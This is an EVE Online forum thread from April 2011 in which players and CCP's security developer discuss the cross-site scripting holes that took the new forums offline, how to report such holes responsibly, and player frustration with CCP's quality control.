Pages: 1 2 3 4 5 6 7 8 9 10 :: [one page] |
|
Author |
Thread Statistics | Show CCP posts - 43 post(s) |
|
CCP Zymurgist
Gallente C C P
|
Posted - 2011.04.11 22:58:00 -
[1]
As many of you know we had to temporarily take down the new forums due to some security issues. CCP Sreegs has been on the case since Friday and brings us a new dev blog talking about the current situation. You can read his blog here.
Zymurgist Community Representative CCP NA, EVE Online Contact Us |
|
Marconus Orion
S.E.G.W.A.Y.
|
Posted - 2011.04.11 23:03:00 -
[2]
First in a soon to be rage thread.
|
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.11 23:07:00 -
[3]
Edited by: Akita T on 11/04/2011 23:23:56 _
Funny (to me) translated and slightly adapted tidbit from my brother (who's a .Net/C#/whatever codemonkey)... if this is not accurate, I have no clue...
"I don't get it, how did they manage to make the signature f-up, in .Net you have the .HTMLEncode() method, and then everything is magically secure from cross-site scripting. That's all they had to do. 1 line. Also, .Net has built-in safeguards for cross site scripting, which you specifically need to disable by hand... guess what? they probably effin' did, because otherwise you couldn't enter HTML code in text boxes. HTMLEncode(), that's all they needed to do, as in, REALLY. Item.Signature.Text = HTMLEncode(Item.Signature.Text) ... or something like that, and that's it. ... from http://msdn.microsoft.com/en-us/library/w3te6wfz.aspx ... HTML encoding makes sure that text is displayed correctly in the browser and not interpreted by the browser as HTML. For example, if a text string contains a less than sign (<) or greater than sign (>), the browser would interpret these characters as the opening or closing bracket of an HTML tag. When the characters are HTML encoded, they are converted to the strings < and >, which causes the browser to display the less than sign and greater than sign correctly. HttpServerUtility.HtmlEncode() ..."
Well, APPARENTLY, this does not really apply, since you mention in your post that you DID (sort of) sanitize the output to SOME degree. _
Also, security issues aside (which were mistakes APPARENTLY so basic that one has to wonder if CCP even _had_ a QA team worth mentioning working on them), there were so many other issues with the new forums that it would take more than one full post to list, most of those issues having been presented in public on the previous two test runs (only to be almost completely ignored).
The new forums were in such a sorry state FROM SO MANY different viewpoints that THE MIND BOGGLES how in the world anybody at CCP could even consider NOT ONLY putting them live, BUT ALSO closing down the old forums.
And most importantly : WHY IN THE WORLD WOULD YOU NOT MIGRATE ALL POST DATA TO THE NEW FORUMS ?!? Or why not let BOTH of them run for a while ?
P.S. All caps were perfectly justified. I was screaming inside my head while typing them. _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
Marconus Orion
S.E.G.W.A.Y.
|
Posted - 2011.04.11 23:12:00 -
[4]
I know of one person you banned who tried to warn you guys. You ignored them until they showed it to your face where you could not ignore the problem any longer.
Bottom line is you killed the messenger and set the body on fire and tried to hide the ashes. In actuallity you should be praising them for bringing the issue to your attention and not doing bad things.
The question on everyones mind is; When will you be unbanning them?
|
Baihuigau
Gallente The Scope
|
Posted - 2011.04.11 23:13:00 -
[5]
Edited by: Baihuigau on 11/04/2011 23:14:10 Rofl Akita, yes we already know ccp web devs need some professional development :P, not their fault ccp probably does not have a incentive program to develop their skills further, to Sreegs that was a good blog, i agree with you in not devulging internal processes, i dont think we need absolute reproduction steps either more of a follow up of did you whip the web dev team and slap them in the face, and if you found the fix
for the new forums........ooh and tell us if multiboxing programs are allowed :P, your communication skills have improved alot though, the one thing i dident like is the fact no one else from ccp apologised, i mean you did but i think someone higher up should say something or we might think this all fell on def ears.
|
Yuki Kulotsuki
|
Posted - 2011.04.11 23:14:00 -
[6]
Quote: Hey I just wanted to let you know how much you smell terrible and also how bad your posts are.
Seems like perfectly reasonable criticism leveled at CCP Sreegs.
Other than that, good blog. -- Did you know there's an alliance who's name you're not allowed to say, or website you're not allowed to link? |
|
CCP Sreegs
|
Posted - 2011.04.11 23:15:00 -
[7]
Originally by: Marconus Orion I know of one person you banned who tried to warn you guys. You ignored them until they showed it to your face where you could not ignore the problem any longer.
Bottom line is you killed the messenger and set the body on fire and tried to hide the ashes. In actuallity you should be praising them for bringing the issue to your attention and not doing bad things.
The question on everyones mind is; When will you be unbanning them?
We do not discuss administrative actions with anyone whatsoever. I can tell you that I have detailed quite clearly in the blog how to "warn" us without risking your account. I also gave a bit of insight into why it is that way. That's the only response I'm going to be able to give you on this subject. |
|
Marconus Orion
S.E.G.W.A.Y.
|
Posted - 2011.04.11 23:17:00 -
[8]
Originally by: CCP Sreegs
Originally by: Marconus Orion I know of one person you banned who tried to warn you guys. You ignored them until they showed it to your face where you could not ignore the problem any longer.
Bottom line is you killed the messenger and set the body on fire and tried to hide the ashes. In actuallity you should be praising them for bringing the issue to your attention and not doing bad things.
The question on everyones mind is; When will you be unbanning them?
We do not discuss administrative actions with anyone whatsoever. I can tell you that I have detailed quite clearly in the blog how to "warn" us without risking your account. I also gave a bit of insight into why it is that way. That's the only response I'm going to be able to give you on this subject.
Well, I guess its a good thing we all were briefed on the proper way to file a petition regarding security issues with your forums before you released them.
Mental note: Be sure to add hugs and kisses to the bottom of all petitions to insure said petition does not get you banned.
|
Liang Nuren
|
Posted - 2011.04.11 23:19:00 -
[9]
Interesting. Can I ask how you're rewarding the people that helped you out (Helicity Boson, for example) without exploiting the system? :)
-Liang -- Eve Forum ***** Extraordinaire On Twitter
|
Xercodo
Amarr Daj'Juntar
|
Posted - 2011.04.11 23:21:00 -
[10]
first page on a soon to be whine thread? =D
-------------------------------------------------- The drake is a lie
|
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:22:00 -
[11]
Originally by: Liang Nuren Interesting. Can I ask how you're rewarding the people that helped you out (Helicity Boson, for example) without exploiting the system? :)
-Liang
I don't want to really say at this point because I don't want to appear to be establishing a system or making any promises. We'll have a program up pretty quickly and then we'll answer this particular question. |
|
Lubomir Penev
Dark Nexxus S I L E N T.
|
Posted - 2011.04.11 23:24:00 -
[12]
The best part about that dev blog : it's true, or at least we can't prove it false because the proofs are now offline and it won't come back online before getting the proper pen test and audit it should have had in the first place.
|
Liang Nuren
|
Posted - 2011.04.11 23:24:00 -
[13]
Alright, well... I hope it's actually awesome. :)
-Liang -- Eve Forum ***** Extraordinaire On Twitter
|
Kerfira
Kerfira Corp
|
Posted - 2011.04.11 23:27:00 -
[14]
As expected... CCP is pretending that the only problems with the new forums were small security matters, not that the forums themselves were a serious step down in functionality, readability AND a giant step up in bandwidth use compared to the old ones...
Originally by: CCP Wrangler EVE isn't designed to just look like a cold, dark and harsh world, it's designed to be a cold, dark and harsh world.
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:27:00 -
[15]
Originally by: Lubomir Penev The best part about that dev blog : it's true, or at least we can't prove it false because the proofs are now offline and it won't come back online before getting the proper pen test and audit it should have had in the first place.
The blog never said there wasn't an audit. The blog also said you couldn't insert script. That being said, it's clear that people were able to perform actions on the forums that were not meant to be done. I'm not the kind of person to pretend I know everything. Therefore, it is only prudent to not take the worldview that everyone who isn't me is a liar, but rather that other people may have knowledge that I do not. If you have said knowledge share it. |
|
Shar Tegral
|
Posted - 2011.04.11 23:28:00 -
[16]
Originally by: CCP Sreegs That's the only response I'm going to be able to give you on this subject.
It was suitable to the occasion. Good read and thank you for it. <cracks whip> Go to bed, get some sleep, get back at in the morning.
Wealth, howsoever got, in Eve makes Lords of morons and gentlemen of thieves; Aptitude and intellect are needless here; 'Tis impudence and money that grants fame. |
William Loire
State War Academy
|
Posted - 2011.04.11 23:28:00 -
[17]
I'm sure Catari's petition went something like this:
"CCP you're all a bunch of f**kheads. I'm in yer base killing your doods." Right?
Did he forget to add the prerequisite "speaking of which, Luv yoo, xx!"?
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:28:00 -
[18]
Originally by: Kerfira As expected... CCP is pretending that the only problems with the new forums were small security matters, not that the forums themselves were a serious step down in functionality, readability AND a giant step up in bandwidth use compared to the old ones...
I'm afraid if you want comment on those items I'm not the person who would be communicating them. I'm a security person commenting on security matters. This isn't CCP issuing some grand declaration on all things forum. This is the security guy discussing the security problems with the forum. |
|
Eclorc
|
Posted - 2011.04.11 23:29:00 -
[19]
" No matter what you post it comes out as garbage " hehe, this happens with my posts all the time I think
Seriously tho, having read that threadnought over the weekend, Sreegs needs to be thanked too for his time and patience. I woulda been effing and blinding by even halfway through that lot tbh.
Returning to this forum again did feel like a homecoming... Sure the search sucks and the 2 minute timer, but it works well enough for all that, and the navigation bar at the side was noticeably missing from the new one. I'd dearly love to know how much of the root causes of problems the new one had could be attributed to .NET/ASP, and MS's insistence on job security through obscurity, rambling disjointed libraries etc. and having to write special spaghetti code to even get anything to work without a 10 year MS certification training course. Not a fan of .NET (can u tell?).
|
Jovan Geldon
Gallente Lead Farmers Kill It With Fire
|
Posted - 2011.04.11 23:29:00 -
[20]
Getting in on the ground floor in an epic nerd rage thread.
|
|
Kerfira
Kerfira Corp
|
Posted - 2011.04.11 23:32:00 -
[21]
Sreegs....
Say that one was to discover how to do the same thing again, i.e. inject HTML code (or scripting for that matter) into someone else's post. Or some other way of exploiting the forum (or in-game features)...
Would it be OK to do this as an EXAMPLE (non-damaging) between two of one's own characters and then pass a reference to the post(s) in any petition/mail?
Of course after the example, one shouldn't do it again...
What I'm getting at is that it is sometimes difficult to explain something like this, but utterly simple if one can exemplify it...
Originally by: CCP Wrangler EVE isn't designed to just look like a cold, dark and harsh world, it's designed to be a cold, dark and harsh world.
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:33:00 -
[22]
Edited by: CCP Sreegs on 11/04/2011 23:34:01
Originally by: Kerfira Sreegs....
Say that one was to discover how to do the same thing again, i.e. inject HTML code (or scripting for that matter) into someone else's post. Or some other way of exploiting the forum (or in-game features)...
Would it be OK to do this as an EXAMPLE (non-damaging) between two of one's own characters and then pass a reference to the post(s) in any petition/mail?
Of course after the example, one shouldn't do it again...
What I'm getting at is that it is sometimes difficult to explain something like this, but utterly simple if one can exemplify it...
That would be precisely the right way to do it and precisely how others have.
:edit: Though one should send the reproduction steps in the email as well. :) |
|
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.11 23:34:00 -
[23]
Edited by: Akita T on 11/04/2011 23:35:57
Originally by: CCP Sreegs I'm afraid if you want comment on those items I'm not the person who would be communicating them. I'm a security person commenting on security matters. This isn't CCP issuing some grand declaration on all things forum. This is the security guy discussing the security problems with the forum.
So when do you think can we expect the (NON-security-related) PR damage control blog about how the new forum is actually not that bad as everybody with complaints about it was claiming ? ...yeah, not your department, you can't say, and if you wager a personal opinion one of your most dearest appendages will get pickled or something to that extent. Right ?
P.S. If your unofficial guess is "never", then please don't post a picture of a pink elephant in your reply. _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
|
CCP Sreegs
|
Posted - 2011.04.11 23:35:00 -
[24]
Originally by: Akita T
Originally by: CCP Sreegs I'm afraid if you want comment on those items I'm not the person who would be communicating them. I'm a security person commenting on security matters. This isn't CCP issuing some grand declaration on all things forum. This is the security guy discussing the security problems with the forum.
So when do you think can we expect the (NON-security-related) PR damage control blog about how the new forum is actually not that bad as everybody with complaints about it was claiming ? ...yeah, not your department, you can't say, and if you wager a personal opinion one of your most dearest appendages will get pickled or something to that extent. Right ?
I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better? |
|
StevieTopSiders
|
Posted - 2011.04.11 23:36:00 -
[25]
Well, glad to know that you guys can react, if not prevent.
I'm more interested in something else, however. Where is the apology for lying to us?
Wait, lying, what do you speak of, Stevie?
I mean lying about the development of the forum. Supposedly, you all were building a brand new forum, completely in-house. What we see here is you all using Yet Another Forum with some sloppy patching to allow Character log-ins. Seriously? Modifying open source software with an Eve theme and slightly different log-in system is not in-house development. This is a case of blatant untruths being spoken to the community. We all deserve a formal apology. And soon.
|
Yuki Kulotsuki
|
Posted - 2011.04.11 23:37:00 -
[26]
Originally by: CCP Sreegs
Originally by: Akita T
Originally by: CCP Sreegs I'm afraid if you want comment on those items I'm not the person who would be communicating them. I'm a security person commenting on security matters. This isn't CCP issuing some grand declaration on all things forum. This is the security guy discussing the security problems with the forum.
So when do you think can we expect the (NON-security-related) PR damage control blog about how the new forum is actually not that bad as everybody with complaints about it was claiming ? ...yeah, not your department, you can't say, and if you wager a personal opinion one of your most dearest appendages will get pickled or something to that extent. Right ?
I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better?
Totally. -- Did you know there's an alliance who's name you're not allowed to say, or website you're not allowed to link? |
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.11 23:38:00 -
[27]
Edited by: Akita T on 11/04/2011 23:38:54
Originally by: CCP Sreegs I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better?
Hasn't that been the official public CCP policy for at least 2 years now ? Nah, what would make me happy is if the entire new forum code and all backups of it got lost in an accidental office fire :wink:,:wink:. _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
|
CCP Sreegs
|
Posted - 2011.04.11 23:39:00 -
[28]
Originally by: Yuki Kulotsuki
Originally by: CCP Sreegs
Originally by: Akita T
Originally by: CCP Sreegs I'm afraid if you want comment on those items I'm not the person who would be communicating them. I'm a security person commenting on security matters. This isn't CCP issuing some grand declaration on all things forum. This is the security guy discussing the security problems with the forum.
So when do you think can we expect the (NON-security-related) PR damage control blog about how the new forum is actually not that bad as everybody with complaints about it was claiming ? ...yeah, not your department, you can't say, and if you wager a personal opinion one of your most dearest appendages will get pickled or something to that extent. Right ?
I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better?
Totally.
January 17th, 2015 |
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:39:00 -
[29]
Originally by: StevieTopSiders Well, glad to know that you guys can react, if not prevent.
I'm more interested in something else, however. Where is the apology for lying to us?
Wait, lying, what do you speak of, Stevie?
I mean lying about the development of the forum. Supposedly, you all were building a brand new forum, completely in-house. What we see here is you all using Yet Another Forum with some sloppy patching to allow Character log-ins. Seriously? Modifying open source software with an Eve theme and slightly different log-in system is not in-house development. This is a case of blatant untruths being spoken to the community. We all deserve a formal apology. And soon.
I really can't comment on that as it's not my area. I'll make sure the post gets pointed out though. |
|
Sevarus James
Minmatar Meridian Dynamics
|
Posted - 2011.04.11 23:40:00 -
[30]
Originally by: Akita T Edited by: Akita T on 11/04/2011 23:38:54
Originally by: CCP Sreegs I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better?
Hasn't that been the official public CCP policy for at least 2 years now ? Nah, what would make me happy is if the entire new forum code and all backups of it got lost in an accidental office fire :wink:,:wink:.
+1 to this...completely.
Updated Arch64 Compiz-Linux Desktop Who is John Galt? |
|
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.11 23:42:00 -
[31]
Originally by: CCP Sreegs January 17th, 2015
LIAR ! Nobody blogs on a Saturday ! _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
Lubomir Penev
Dark Nexxus S I L E N T.
|
Posted - 2011.04.11 23:52:00 -
[32]
Originally by: CCP Sreegs
Originally by: Lubomir Penev The best part about that dev blog : it's true, or at least we can't prove it false because the proofs are now offline and it won't come back online before getting the proper pen test and audit it should have had in the first place.
The blog never said there wasn't an audit. The blog also said you couldn't insert script.
I wasn't even critical, just commenting on the fact we got no choice but believe you as the particular forum version will never see the light of day again.
As for the audit that's the worrying part, if there was one, how could it miss two very classical OWASP top 10 vulns (this is actually generous, they are OWASP top 3 vulns)... It's not like the forum had so many entry points for possible XSS injection that exhaustive testing was impossible or even hard. Nobody used ground breaking stuff to break the new toy open, it was one guy with an hour to spare and an XSS cheat sheet (the injection part). So yes, as someone that was in the field pretty recently, I wonder how the forums passed a security audit if there was one. But yes, I know sometime the obvious escape the prying eyes of seasoned professionals, happens to everyone, even happened to me. But the sheer amount of uncaught stuff looks odd to me.
|
Gavjack Bunk
Gallente Genos Occidere HYDRA RELOADED
|
Posted - 2011.04.11 23:56:00 -
[33]
Sounds like somebody needs some "me time" in the Angry Dome.
|
|
CCP Sreegs
|
Posted - 2011.04.11 23:57:00 -
[34]
Originally by: Lubomir Penev
Originally by: CCP Sreegs
Originally by: Lubomir Penev The best part about that dev blog : it's true, or at least we can't prove it false because the proofs are now offline and it won't come back online before getting the proper pen test and audit it should have had in the first place.
The blog never said there wasn't an audit. The blog also said you couldn't insert script.
I wasn't even critical, just commenting on the fact we got no choice but believe you as the particular forum version will never see the light of day again.
As for the audit that's the worrying part, if there was one, how could it miss two very classical OWASP top 10 vulns (this is actually generous, they are OWASP top 3 vulns)... It's not like the forum had so many entry points for possible XSS injection that exhaustive testing was impossible or even hard. Nobody used ground breaking stuff to break the new toy open, it was one guy with an hour to spare and an XSS cheat sheet (the injection part). So yes, as someone that was in the field pretty recently, I wonder how the forums passed a security audit if there was one. But yes, I know sometime the obvious escape the prying eyes of seasoned professionals, happens to everyone, even happened to me. But the sheer amount of uncaught stuff looks odd to me.
It looks odd to me too. This is why we have internal investigations. :) I had them do some pretty extensive testing to verify that we were properly filtering the script tags today, which was why the blog was delayed. Were we not filtering it I'd have said so. |
|
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.11 23:58:00 -
[35]
Originally by: Gavjack Bunk Sounds like somebody needs some "me time" in the Angry Dome.
Does the "Angry Dome" have life-like replicas of CCP management with loads of stickers saying "Excellence" on them, and a wide variety of hurty implements in it ? _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
Dacil Arandur
Cognitive Industries
|
Posted - 2011.04.11 23:59:00 -
[36]
I think the only real purpose of the new forum is an elaborate attempt at getting rid of Akita T's predictions about the complete failure of the moon mineral rebalance...
In not copying over the old forum posts, of all people Akita T has the most to lose!
|
Madner Kami
Gallente Durendal Ascending Gentlemen's Interstellar Nightclub
|
Posted - 2011.04.12 00:03:00 -
[37]
Edited by: Madner Kami on 12/04/2011 00:03:58
Originally by: Akita T
Originally by: Gavjack Bunk Sounds like somebody needs some "me time" in the Angry Dome.
Does the "Angry Dome" have life-like replicas of CCP management with loads of stickers saying "Excellence" on them, and a wide variety of hurty implements in it ?
|
Steve Thomas
Minmatar Sebiestor Tribe
|
Posted - 2011.04.12 00:07:00 -
[38]
Originally by: CCP Sreegs
Originally by: Lubomir Penev
Originally by: CCP Sreegs
Originally by: Lubomir Penev The best part about that dev blog : it's true, or at least we can't prove it false because the proofs are now offline and it won't come back online before getting the proper pen test and audit it should have had in the first place.
The blog never said there wasn't an audit. The blog also said you couldn't insert script.
I wasn't even critical, just commenting on the fact we got no choice but believe you as the particular forum version will never see the light of day again.
As for the audit that's the worrying part, if there was one, how could it miss two very classical OWASP top 10 vulns (this is actually generous, they are OWASP top 3 vulns)... It's not like the forum had so many entry points for possible XSS injection that exhaustive testing was impossible or even hard. Nobody used ground breaking stuff to break the new toy open, it was one guy with an hour to spare and an XSS cheat sheet (the injection part). So yes, as someone that was in the field pretty recently, I wonder how the forums passed a security audit if there was one. But yes, I know sometime the obvious escape the prying eyes of seasoned professionals, happens to everyone, even happened to me. But the sheer amount of uncaught stuff looks odd to me.
It looks odd to me too. This is why we have internal investigations. :) I had them do some pretty extensive testing to verify that we were properly filtering the script tags today, which was why the blog was delayed. Were we not filtering it I'd have said so.
:Icouldahadav8headsmacksmilycon: ok that was what I was missing when I did a bit of testing with a modified YAF forum, because I had to strip the Scriptblock to get HTML to work the way some people were saying was posible.
and even then it was older brousers (IE7 older versions of crome and Firefox) that did not even blink at what I was doing. (IE 9 and the newest crome both threw a royal hissyfit over a scrip trying to install a Danceing chipmonk on my desktop, the others either just blocked it or gave me popup warnings or simply crashed out the brouser and sent me back to my homepage) http://desusig.crumplecorn.com/sigs.html Crumplecorn's DesuSigs
|
|
CCP Sreegs
|
Posted - 2011.04.12 00:17:00 -
[39]
Originally by: Steve Thomas
It looks odd to me too. This is why we have internal investigations. :) I had them do some pretty extensive testing to verify that we were properly filtering the script tags today, which was why the blog was delayed. Were we not filtering it I'd have said so.
:Icouldahadav8headsmacksmilycon: ok that was what I was missing when I did a bit of testing with a modified YAF forum, because I had to strip the Scriptblock to get HTML to work the way some people were saying was posible.
and even then it was older brousers (IE7 older versions of crome and Firefox) that did not even blink at what I was doing. (IE 9 and the newest crome both threw a royal hissyfit over a scrip trying to install a Danceing chipmonk on my desktop, the others either just blocked it or gave me popup warnings or simply crashed out the brouser and sent me back to my homepage)
I'm pretty sure you have to enable it in a config somewhere. |
|
Mibad
|
Posted - 2011.04.12 00:19:00 -
[40]
Woot CCP Sreegs thunderdome!
Really though, tough work you guys do. The community may appear bloodthirsty at times, but we all love eve and the guys that make the game work.
Do you guys have any plans to "campaign" your security reward program? In game ads etc? I would guess more public awareness the better.
|
|
J Kunjeh
Gallente
|
Posted - 2011.04.12 00:34:00 -
[41]
A very solid Dev blog. Appreciate the details and the followup. Can't wait to read more. I for one appreciate all efforts being made on this front.
Unfotunately, as usual, Akita jumped in and vomited all over this thread...it's getting really old. Rather like a broken record.
~Gnosis~ |
Myra2007
Millstone Industries
|
Posted - 2011.04.12 00:35:00 -
[42]
Nice blog thanks for all your hard work in the past few days.
However I'm with the guys who think a blog from management or something would be really nice. Obviously some things need to stay internal and I'm sure everyone understands. On the other hand I hope that CCP understands that this incident not only raises questions about the security issues (which you have covered quite nicely) but also erodes trust and confidence in their ability to do it 'right'.
If you cannot (understandably...) give more specific information about the lessons CCP learned then how are we to trust that future features will not exhibit such vulnerabilities? Or at least that *something* is done to prevent it. I understand you said you were going to follow up internally and I do believe you. But as you said yourself: you're the security guy. You cannot actually "make it happen" despite your good intentions. So to hear from someone who can would be great. --
Originally by: CCP Elais
It was a great Frankenstein moment [...] to see the forum [...] come alive.
|
Pedro Carnicero
Amarr Hartes Beton
|
Posted - 2011.04.12 00:38:00 -
[43]
Hey sreegs, just to clarify: I know, the big security holes in the forums had nothing to do with the place where our credit card information is stored. But for many people, that wasnt the point. The point is, that some of us are a little bit concerned about the security of our data, after we've seen the, well, the garbage your web developers recently threw at us. I really dont know anymore if I can trust you with such delicate information. Greetings |
|
CCP Sreegs
|
Posted - 2011.04.12 00:43:00 -
[44]
Originally by: Myra2007 Nice blog thanks for all your hard work in the past few days.
However I'm with the guys who think a blog from management or something would be really nice. Obviously some things need to stay internal and I'm sure everyone understands. On the other hand I hope that CCP understands that this incident not only raises questions about the security issues (which you have covered quite nicely) but also erodes trust and confidence in their ability to do it 'right'.
If you cannot (understandably...) give more specific information about the lessons CCP learned then how are we to trust that future features will not exhibit such vulnerabilities? Or at least that *something* is done to prevent it. I understand you said you were going to follow up internally and I do believe you. But as you said yourself: you're the security guy. You cannot actually "make it happen" despite your good intentions. So to hear from someone who can would be great.
In incident response the internal process examination to determine why something occurred or what went wrong is typically the next-to-last step. I can't make any promises regarding whether anyone else will say anything because I honestly don't know, but I can say that regardless one could expect it to take more than the one business day we've had so far to sort it out. |
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 00:43:00 -
[45]
awesome Sreegs. now crack some whips and set the guilty ones on fire.
also, an assurance that CCP at the very least noticed that their QA management needs some serious reworking would be nice, altho that's not your department (do tell them that tho).
Originally by: J Kunjeh Unfotunately, as usual, Akita jumped in and vomited all over this thread...it's getting really old. Rather like a broken record.
while I don't agree with Akita in many things and I sometimes think he's too much vocal, he does have a point, even if he usually posts it in a very... "exuberant" and extremist way. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
Akita T
Caldari Navy Volunteer Task Force
|
Posted - 2011.04.12 00:47:00 -
[46]
Originally by: J Kunjeh Unfotunately, as usual, Akita jumped in and vomited all over this thread...it's getting really old. Rather like a broken record.
Pot, kettle, black. _
CCP LEADERSHIP MENTALITY NEEDS TO CHANGE FAST ! "New junky features sell, old polished content doesn't" ? KILL IT WITH FIRE. |
J Kunjeh
Gallente
|
Posted - 2011.04.12 00:52:00 -
[47]
Originally by: Grimpak
Originally by: J Kunjeh Unfotunately, as usual, Akita jumped in and vomited all over this thread...it's getting really old. Rather like a broken record.
while I don't agree with Akita in many things and I sometimes think he's too much vocal, he does have a point, even if he usually posts it in a very... "exuberant" and extremist way.
Oh, posting in a passionate way is fine by me, it's the fact that Akita has been beating a dead horse in every thread possible since the new forums were released. I mean, we've heard your opinion on the matter, move on.
~Gnosis~ |
Myra2007
Millstone Industries
|
Posted - 2011.04.12 00:56:00 -
[48]
Originally by: CCP Sreegs
In incident response the internal process examination to determine why something occurred or what went wrong is typically the next-to-last step. I can't make any promises regarding whether anyone else will say anything because I honestly don't know, but I can say that regardless one could expect it to take more than the one business day we've had so far to sort it out.
Obviously. --
Originally by: CCP Elais
It was a great Frankenstein moment [...] to see the forum [...] come alive.
|
|
CCP Sreegs
|
Posted - 2011.04.12 00:57:00 -
[49]
Originally by: Pedro Carnicero Hey sreegs, just to clarify: I know, the big security holes in the forums had nothing to do with the place where our credit card information is stored. But for many people, that wasnt the point. The point is, that some of us are a little bit concerned about the security of our data, after we've seen the, well, the garbage your web developers recently threw at us. I really dont know anymore if I can trust you with such delicate information. Greetings
I can understand this sentiment from an outsider's perspective. Since the post-mortem is nowhere near complete what I can assume is that we did not apply the same rigor to a new forum system as we have with our longstanding back-end billing systems. I guess some could find it understandable given the obvious differences depending on one's perspective. |
|
Diomedes Calypso
|
Posted - 2011.04.12 00:57:00 -
[50]
Leaving calling cards to prove a vulnerability strikes me as a very appropriate action:
It immediately calls a problem to an escalation phase rather than filtering through a slower tiered response process ... it would certainly skip to the top of the concern queue within minutes, not hours, probably give someone the "cover their butt" coverage to actually call a top supervisor and wake him up during the middle of the night.
A employee can't make that sort of call all the time based on a personal assessment of the possible risks or he would irritate the hell out of his supervisor and call into question his professional abilty to work independently (and on a very serious personal level, the employees scale of his livelihood)
Certainly, someone messing visibly with the forums skipped from the "letÆs think about it stage".
The public nature of messing with the forums is also a very important tool because it sends a message to the community that there is a current problem and the message and emotional "getting" of the message by people who might otherwise let the thing glaze over as "some technical thingy that happend a couple weeks ago .. yawn")
It hits community members over the head and perhaps supports a larger point that the outraged person discovering the threat feels like they need to make: more is needed than a fix of the individual fixàother players should be vigilant in the same way looking for future problems and all players should in a united way demand more polish on released material (IÆm assuming that was the personÆs point).
Now, I do agree 100% with you on one thing. Delaying calling attention to a fault and spending a day or two perusing internal forums is a criminal sort of act that has little basis in terms of ideals of consumer protection. Some-one stealing other players game assets (without contracting them back or something) or infecting their computers would also be an unacceptable form of protest.
|
|
Grimpak
Gallente The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 00:58:00 -
[51]
Edited by: Grimpak on 12/04/2011 01:00:24
Originally by: J Kunjeh
Originally by: Grimpak
Originally by: J Kunjeh Unfotunately, as usual, Akita jumped in and vomited all over this thread...it's getting really old. Rather like a broken record.
while I don't agree with Akita in many things and I sometimes think he's too much vocal, he does have a point, even if he usually posts it in a very... "exuberant" and extremist way.
Oh, posting in a passionate way is fine by me, it's the fact that Akita has been beating a dead horse in every thread possible since the new forums were released. I mean, we've heard your opinion on the matter, move on.
it's CCP we're talking about here. beating the dead horse at the very least raises visibility on the issue.
annoying yes. I myself, have moderated myself typing about this issue more and more, but that's because I have posted enough from my part. Akita is better versed in forum warrioring than me so he's doing a better job in making issues visible, short of invading CCP HQ and slapping post-its on every CCP dev, GM and admin board member' forehead. ---
Quote: The more I know about humans, the more I love animals.
ain't that right. |
|
CCP Sreegs
|
Posted - 2011.04.12 01:03:00 -
[52]
Originally by: Diomedes Calypso
A employee can't make that sort of call all the time based on a personal assessment of the possible risks or he would irritate the hell out of his supervisor and call into question his professional abilty to work independently (and on a very serious personal level, the employees scale of his livelihood)
I'm not ignoring the rest of this post, but if there's a very real threat we can very much make this call. I can understand how it could be a problem if you're a guy who's constantly crying wolf, but if you have good people in the right places it tends not to be a problem. One might notice that in the second half of the response it was essentially minutes from the time I received a notification of an exploit to the time the forum was down. |
|
Daneo Mistry
|
Posted - 2011.04.12 01:12:00 -
[53]
Have to say Sreegs, im impressed with the way you been replying to particular issues on this thread. It nice to see particular statements answered, rather then a broad statement, with some update.
|
Helicity Boson
Amarr The Python Cartel. The Defenders of Pen Island
|
Posted - 2011.04.12 01:14:00 -
[54]
I am somewhat content with your blog sreegs, I still think you're being a bit too kind as to how much of a risk this sort of gaffe presents, but we will just need to agree to disagree on that.
I know you've taken a lot of flak despite not being responsible for this debacle (including from me) and I would urge players to not direct their (justified) anger at this "72,000 hour" project at CCP Sreeg, it's not his job to read every line of code or even to audit it; he is response.
The responsibility for the integrity of the security here lies with the webcell, and I hope that we can have some sort of statement from management detailing what is being done, 72,000 man hours represents well over a million euros; I think for that money we all expected a little more than a reskinned YAF with busted security.
Thank you for your blog Sreegs, I hope you don't catch too much more flak. I do hope you will at least consider that Catari didn't do anything intentionally malicious, even if his...uhm "means" of contacting you was not quite up to standards.
I had a very long, and very productive discussion with CCP Manifest earlier today about the mood of the community as a whole, yeah they're pretty p-ed off about this, but most of the rage (including mine) is not so much because of this one thing (even if it was pret-ty bad).
It's just the straw, as they say.
Hopefully this will have shocked some higher ups awake which will lead to more healthy procedures so that graphic design guys with some coding skill get the backup they need from proper coders with no photoshop mojo to prevent further calamities.
We all love EVE, even if we sometimes don't love CCP very much anymore, but as long as there is people that care on either side of the fence (like CCP Manifest) all is not lost.
|
Andrea Griffin
|
Posted - 2011.04.12 01:18:00 -
[55]
In this thread: Sreegs shows his gigantic cajones. He could have just dropped the blog and left it at that, but he's willingly walking into the lion's den here. Try not to kill the messenger.
I do appreciate the level of transparency here as always. So many other companies would cut off all communication over the issue and ban anyone who brought it up. The whole thing shouldn't have happened of course, but it did, and I think it was handled pretty well overall.
